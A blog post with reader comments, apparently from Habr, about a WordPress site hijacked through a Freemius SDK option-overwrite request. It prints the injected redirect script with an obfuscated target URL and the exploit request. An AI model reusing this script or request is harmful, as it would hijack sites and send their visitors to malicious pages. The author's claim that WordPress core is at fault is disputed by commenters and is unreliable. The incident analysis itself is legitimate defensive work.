На прошлой неделе столкнулся с крайне неприятным фактом. Зайдя на свой сайт, обнаружил, что он переадресовывает меня на неведомый мне ресурс, на который крайне сильно ругается антивирус Dr. Web

Сайт работает на WordPress актуальной версии 5.1

Все выходящие обновления для движка, плагина и темы устанавливаются вовремя. Плагины только из официального репозитория, тема тоже.

Незамедлительно был скачан бэкап сайта, просканирован антивирусным ПО (Dr. Web, Kaspersky, AI-BOLIT) – но результатов никаких не было, все чисто.

Были проверены вручную файлы темы и некоторых плагинов, но снова не было результата.
При проверке дампа базы в таблице «wp_options» в параметре «siteurl» — таился чужой URL. Собственно на него и была переадресация.

Происходило это по принципу: при загрузке страницы параметр «siteurl» подставлялся во все

<script type='text/javascript' src='ЧУЖОЙ URL ВМЕСТО РОДНОГО'></script>

При этом происходила подгрузка вот такого скрипта:

var x = getCookie('pp000001'); if (x) { var x2 = getCookie('pp000002'); if (x2) { var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } else { setCookie('pp000002','1',1); var sdfgdfg = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 108, 105, 99, 107, 46, 110, 101, 119, 112, 117, 115, 104, 46, 115, 117, 112, 112, 111, 114, 116, 47, 101, 115, 117, 122, 110, 120, 105, 102, 113, 107);document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } } else { setCookie('pp000001','1',1); var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } function setCookie(name,value,days) { var expires = ""; if (days) { var date = new Date(); date.setTime(date.getTime() + (days*8*60*60*1000)); expires = "; expires=" + date.toUTCString(); } document.cookie = name + "=" + (value || "") + expires + "; path=/"; } function getCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } function eraseCookie(name) { document.cookie = name+'=; Max-Age=-99999999;'; }


Как чужой URL попал в базу, осталось загадкой. Сменив URL на нужный, все заработало снова, но на следующий день при проверке я снова увидел как Dr. Web ругается на переадресованную страницу. В базе снова был изменён этот параметр.

После этого были скачаны свежие логи доступа к сайту и логи ошибок. Ошибок не оказалось, а вот в логах доступа нашелся крайне интересный запрос к сайту:

/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=siteurl&option_value=ВРЕДНЫЙ URL

Снова исправив настройки и проверив, что все работает, попробовал повторить данный запрос на сайте, но ничего не получилось. Настройка в базе не сменилась.

Надо отметить, что на сайте открыта регистрация и пользователи получают роли «Подписчика», доступ до административной части полностью закрыт.

Была предпринята попытка зарегистрировать нового пользователя, авторизоваться и после чего данный запрос к сайту сработал, настройка в базе изменилась.

В итоге получается, что если на сайте открыта регистрация пользователей, даже с ролью «Подписчик» и закрыт доступ до админки, все равно этот запрос срабатывает.

Проверено было еще на другом сайте, предварительно выключив все плагин и установив тему по умолчанию – результат такой же.

Как бороться, кроме как выключить регистрацию и удалить подозрительных пользователей – решения пока не нашел.

P.S.: погуглив запрос, были найдены зараженные сайты, будьте внимательны.

Комментарии (28)


  1. parserpro
    13.06.2019 09:46

    Как вариант — закрыть на basic auth доступ к этому скрипту. А лучше ко всей админ-зоне.
    Выглядит примерно так:


    location ~ \.php$ {
            location ~ ^/wp-admin/ {
                auth_basic "Restricted";
                auth_basic_user_file /etc/nginx/.htpasswd;
            }
           ...
    }


    1. parserpro
      13.06.2019 10:55

      Совет признан хреновым и нерабочим.


    1. mxneo
      13.06.2019 18:44

      Или не использовать такие решето, типа WordPress.


      1. parserpro
        14.06.2019 11:13

        Критикуя — предлагай.


  1. denaspireone
    13.06.2019 09:50

    1. vovasik
      13.06.2019 10:06

      с целью усугубить проблему, basic auth как нельзя лучше подойдет, а так не лучше так не делать, а так вобще лучше никогда не закрывать admin-ajax.php от внешних запросов


      1. denaspireone
        13.06.2019 10:08

        Не делать как? Обновлять версию сайта до последней актуальной?
        Автор пишет, что у него 5.1

        On March 13, 2019, WordPress 5.1.1 was released to the public.


        Только как у него актуальная 5.1 и он обновляет постоянно — это закадка…
        Все выходящие обновления для движка, плагина и темы устанавливаются вовремя. Плагины только из официального репозитория, тема тоже.


        1. vovasik
          13.06.2019 10:21

          а так вобще проблема в этом WP Security Audit Log плагине как уже ниже написали, и он как не прискорбно лежит в в официальном репозитории вот — plugins.trac.wordpress.org/browser/wp-security-audit-log/trunk/sdk/freemius/includes/class-freemius.php#L3060 просто удалить WP Security Audit Log и никогда его не ставить поможет


          1. Struam Автор
            13.06.2019 11:02

            Проблема в самом WP, проверялось и на чистой установке с темой по умолчанию.


            1. vovasik
              13.06.2019 17:34

              ну так нет в ядре такого хука, сейчас проверю конечно на чистой установке, но это маловероятно


            1. vovasik
              13.06.2019 17:44

              ну как и следует из кода это не баг ядра, а скорее всего бекдор


            1. vovasik
              13.06.2019 17:46

              поэтому поищите grep-ом по исходникам строку fs_set_db_option и будет ясно какой именно плагин или не плагин виновник сего торжества


        1. vovasik
          13.06.2019 10:29

          Конечно нужно постоянно обновлять плагины и ставить обновления ядра сразу же после выхода, хоть в данном случае это и не спасет все же делать это нужно всегда потому что сэкономить много времени и нервов в дальнейшем.

          А еще вот так

          location ~ \.php$ {
                  location ~ ^/wp-admin/ {
                      auth_basic "Restricted";
                      auth_basic_user_file /etc/nginx/.htpasswd;
                  }
                 ...
          }


          лучше всего вобще никогда не делать ибо плагины и темы часто обращаются к wp-admin/ admin-ajax.php из своих яваскиптов, и скажем к примеры если закрыть этот файл авторизацией могут не запросто перестать работать такие вещи как формы заказа, обратной связи комментарии и вобще что угодно, причем админ сайта скорее всеговведет пароль и не заметит проблем в то время посетители увидят поломанный сайт. Плохо что авторы таких крутых в кавычках советов этого не понимают. Это вобще худшее что можно посоветовать


          1. parserpro
            13.06.2019 10:54

            Авторы понимают. Просто это несколько неожиданно, что для обслуживания обычных пользователей сайт постоянно лазит в админ-зону.
            Признаю, совет не годится.


        1. Struam Автор
          13.06.2019 11:00

          Пост был в песочнице, написан был в марте. За актуальными версиями слежу, постоянно обновляют.


          1. parserpro
            13.06.2019 11:03

            Аналогично. Но вот сайт кладут стабильно раз в неделю. Несколько подзадолбало


            1. vovasik
              13.06.2019 11:35

              ну что можно сказать, всему виной легаси и варезные плагины и темы обычно )) (хотя в статье описан не такой сценарий заражения) нужно избавляться от сомнительного кода если совсем нет возможности разбираться с этим можно на pressjitsu.com переехать, там сам хостер следит за такими инцидентами, может поможет в данной ситуации. А так только газами просматривать все обновления и код плагинов даже если они из проверенных источников, к несчастью иного пока не дано


  1. sazareks
    13.06.2019 09:51

    Для начала попробуйте переопределить ajax функцию на этот action fs_set_db_option



  1. m0rtis
    13.06.2019 12:34

    Как бороться, кроме как выключить регистрацию и удалить подозрительных пользователей – решения пока не нашел.

    Отказаться от WordPress? Честно говоря, совершенно не понимаю его использования в современных реалиях для хоть сколь-нибудь крупного и важного проекта. Критические уязвимости обнаруживаются с регулярностью, которой можно только позавидовать. Вся система в целом — отличный пример собрания худших практик.
    Не холивара ради, но я правда этого совершенно не могу понять


    1. vovasik
      13.06.2019 13:52

      так а на что заменить, все в чем есть вендорный код так же уязвимо в той же степени. В данном случае просто выключить плохо плагин и надеться что остальные плагины более надежные


  1. mihdan
    13.06.2019 17:29

    Какая к черту уязвимость ядра WordPress и чистая инсталляция, это же бага sdk под freenius — https://github.com/Freemius/wordpress-sdk/blob/master/templates/debug.php.


    Ищите по названию события fs_set_db_option.
    Вы бы хоть разобрались в сути вопроса. Хайпануть хотели нахаляву)))


    1. vovasik
      13.06.2019 21:13

      я бы сказал будь это 0-day ядра я бы стал богатым человеком


    1. arkamax
      13.06.2019 21:16

      И еще, заголовок про уязвимость в «admin-ajax.php» (который как раз идет в чистой инсталляции) — тоже мимо.


  1. arkamax
    13.06.2019 21:20

    Сейчас проверил логи пары инстансов WP — запросы с fs_set_db_option идут достаточно массово, с разными кандидатами на siteurl, но паттерн один:

    https://{hostname}/{file}.js?someparam=1&

    Использования данного SDK в лице уязвимого класса на инстансах не нашел (find. -name 'class-freemius.php', подставьте путь по выбору), но выдал команду админам смотреть в оба.


    1. qant
      16.06.2019 22:05

      Прочитай внимательно то что по ссылке xsash поймёшь откуда ноги растут у уязвимости и как бороться


      1. arkamax
        16.06.2019 22:17

        Прочитал. Нашел уязвимую функцию:

        static function _set_db_option()

        Беглый греп Freemius нашел ее в файле, упомянутом выше. Далее, git blame этого файла легко находит фикс:

        github.com/Freemius/wordpress-sdk/commit/7ec1932961e51c14f4ec4b8e0381f6d74f7b3a0b#diff-47823070110c192139bd0d3591110cbb

        Т.к. уязвимость была найдена и исправлена в этом файле, можно считать, что отсутствие данного файла может говорить об неиспользовании данного SDK как минимум в уязвимой к данной проблеме версии. Таким образом, бороться не с чем.

        Не могли бы вы пояснить, что имелось в виду в вашем комментарии?


  1. mihdan
    17.06.2019 14:32

    Struam, вы не желаете исправить пост и заголовок в соответствии с комментариями? Вы вводите людей в заблуждение.